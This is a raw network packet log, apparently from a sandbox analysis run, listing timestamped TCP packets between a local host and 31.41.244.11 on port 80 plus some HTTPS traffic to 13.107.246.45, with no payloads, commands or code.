Nov 20, 2024 04:08:11.058742046 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.058758020 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.058801889 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.058806896 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.058824062 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.058839083 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.058842897 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.058857918 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.058875084 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.058885098 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.058938980 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.069037914 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.069055080 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.069072008 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.069087982 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.069108963 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.069143057 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.069161892 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.069178104 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.069192886 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.069204092 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.069207907 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.069224119 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.069228888 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.069248915 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.069264889 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.069278002 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.069278955 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.069294930 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.069307089 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.069310904 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.069329977 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.069345951 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.069363117 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.069363117 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.069380045 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.069391012 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.069396973 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.069417000 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.069417000 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.069453955 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.069483042 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.106741905 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.106842995 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.106858969 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.106869936 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.106874943 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.106893063 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.106904030 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.106909990 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.106926918 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.106935978 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.106978893 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.106982946 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.106993914 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.107011080 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.107026100 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.107042074 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.107049942 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.107064009 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.107079029 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.107089996 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.107089996 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.107094049 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.107115030 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.107183933 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.107342958 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.107358932 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.107367992 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.107374907 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.107388973 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.107397079 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.107405901 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.107412100 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.107470036 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.107508898 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.107542992 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.107599974 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.107650995 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.107666016 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.107681990 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.107698917 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.107707024 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.107716084 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.107729912 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.107736111 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.107738018 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.107754946 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.107768059 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.107774019 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.107793093 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.107808113 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.107808113 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.107835054 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.107846022 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.107851982 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.107867956 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.107907057 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.107918024 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.107990026 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.108048916 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.108074903 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.108082056 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.108089924 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.108094931 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.108112097 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.108118057 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.108122110 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.108146906 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.108206987 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.108752966 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.108777046 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.108809948 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.108814001 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.108833075 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.108858109 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.108865023 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.108882904 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.108907938 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.108911037 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.108927011 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.108933926 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.108942032 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.108968973 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.108994007 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.109456062 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.109469891 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.109522104 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.109543085 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.109603882 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.109647989 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.109663010 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.109678030 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.109694958 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.109708071 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.109713078 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.109730005 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.109740973 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.109755039 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.109767914 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.109785080 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.109786034 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.109807968 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.109823942 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.109829903 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.109848976 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.109857082 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.109868050 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.109882116 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.109895945 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.109898090 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.109914064 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.109925032 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.109939098 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.109946966 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.109956026 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.109972000 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.109987020 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.109994888 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.110002995 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.110022068 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.110028028 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.110043049 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.110058069 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.110064030 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.110074043 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.110093117 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.110096931 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.110115051 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.110143900 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.110147953 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.110161066 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.110177040 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.110191107 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.110199928 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.110203028 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.110222101 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.110239029 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.110254049 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.110255957 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.110280991 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.110301971 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.110327959 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.131475925 CET	443	62440	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.131711960 CET	443	62440	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.131768942 CET	62440	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.131954908 CET	62440	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.131979942 CET	443	62440	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.131997108 CET	62440	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.132004023 CET	443	62440	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.137384892 CET	62444	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.137413979 CET	443	62444	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.137510061 CET	62444	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.137820005 CET	62444	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.137834072 CET	443	62444	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.147274017 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.147288084 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.147299051 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.147377968 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.147377968 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.147416115 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.147428989 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.147449017 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.147459030 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.147471905 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.147474051 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.147535086 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.147810936 CET	443	62439	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.147864103 CET	443	62439	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.147922993 CET	62439	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.147953987 CET	443	62439	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.147995949 CET	443	62439	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.148066044 CET	62439	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.148175001 CET	62439	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.148190022 CET	443	62439	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.148226023 CET	62439	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.148232937 CET	443	62439	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.151217937 CET	62445	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.151241064 CET	443	62445	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.151309967 CET	62445	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.151473045 CET	62445	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.151484013 CET	443	62445	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.157398939 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.157460928 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.157510996 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.157522917 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.157542944 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.157552958 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.157561064 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.157567978 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.157571077 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.157584906 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.157597065 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.157603025 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.157620907 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.157622099 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.157633066 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.157646894 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.157649040 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.157654047 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.157689095 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.157691956 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.157704115 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.157715082 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.157720089 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.157721043 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.157727003 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.157751083 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.157752037 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.157763958 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.157776117 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.157784939 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.157798052 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.157849073 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.158102989 CET	443	62441	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.158648968 CET	62441	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.158730030 CET	443	62441	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.159336090 CET	62441	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.159351110 CET	443	62441	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.186028004 CET	443	62442	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.186523914 CET	62442	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.186544895 CET	443	62442	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.187163115 CET	62442	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.187169075 CET	443	62442	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.195250034 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.195318937 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.195400953 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.195416927 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.195427895 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.195437908 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.195444107 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.195447922 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.195453882 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.195456028 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.195467949 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.195477962 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.195486069 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.195497036 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.195507050 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.195517063 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.195521116 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.195527077 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.195538998 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.195548058 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.195573092 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.195597887 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.195801020 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.195816994 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.195827961 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.195843935 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.195852995 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.195857048 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.195899010 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.195904016 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.195910931 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.195920944 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.195949078 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.195949078 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.195976019 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.196001053 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.196010113 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.196018934 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.196067095 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.196103096 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.196279049 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.196290016 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.196299076 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.196314096 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.196325064 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.196333885 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.196345091 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.196352959 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.196357965 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.196357965 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.196362972 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.196368933 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.196374893 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.196379900 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.196408033 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.196423054 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.196535110 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.196546078 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.196556091 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.196583033 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.196594000 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.196607113 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.196623087 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.196634054 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.196644068 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.196654081 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.196654081 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.196686029 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.196721077 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.197352886 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.197364092 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.197375059 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.197385073 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.197396040 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.197407007 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.197412014 CET	62430	80	192.168.2.4	31.41.244.11
